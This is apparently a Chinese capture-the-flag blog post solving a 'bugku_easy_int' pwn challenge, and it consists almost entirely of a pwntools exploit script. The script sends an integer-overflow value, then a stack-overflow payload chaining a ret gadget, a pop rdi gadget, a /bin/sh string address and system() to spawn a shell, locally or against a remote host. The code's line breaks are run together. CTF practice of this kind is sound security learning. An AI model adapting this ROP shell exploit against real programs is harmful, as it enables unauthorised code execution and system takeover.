PWN之system函数参数非/bin/sh的情况

payload = b'a' * 0x28  # 溢出大小payload += p64(0x0040101a) # ret地址payload += p64(0x00401343) # pop rdi地址payload += p64(0x00403500) # /bin/sh字符串地址payload += p64(0x00401090) # _system函数地址

from pwn import *
context(os='linux', log_level='debug')conent = 1  # 1是本地测试，2是目标机器测试
def main():    if int(conent) == 1:        q = process("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")        elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")    else:        q = remote("192.168.1.110", "55555")        elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")    payload = b'a' * 0x28  # 溢出大小    payload += p64(0x0040101a) # ret地址    payload += p64(0x00401343) # pop rdi地址，在ubuntu18以上的版本，64位的程序若包含了system就需要考虑堆栈平衡。具体可以参考https://blog.csdn.net/qq_41560595/article/details/112161243    payload += p64(0x00403500) # /bin/sh字符串地址    payload += p64(0x00401090) # _system函数地址    q.recvuntil("")    q.sendline("2147483648")    q.recvuntil("")    q.sendline(payload)    q.recvuntil("")    q.interactive()
main()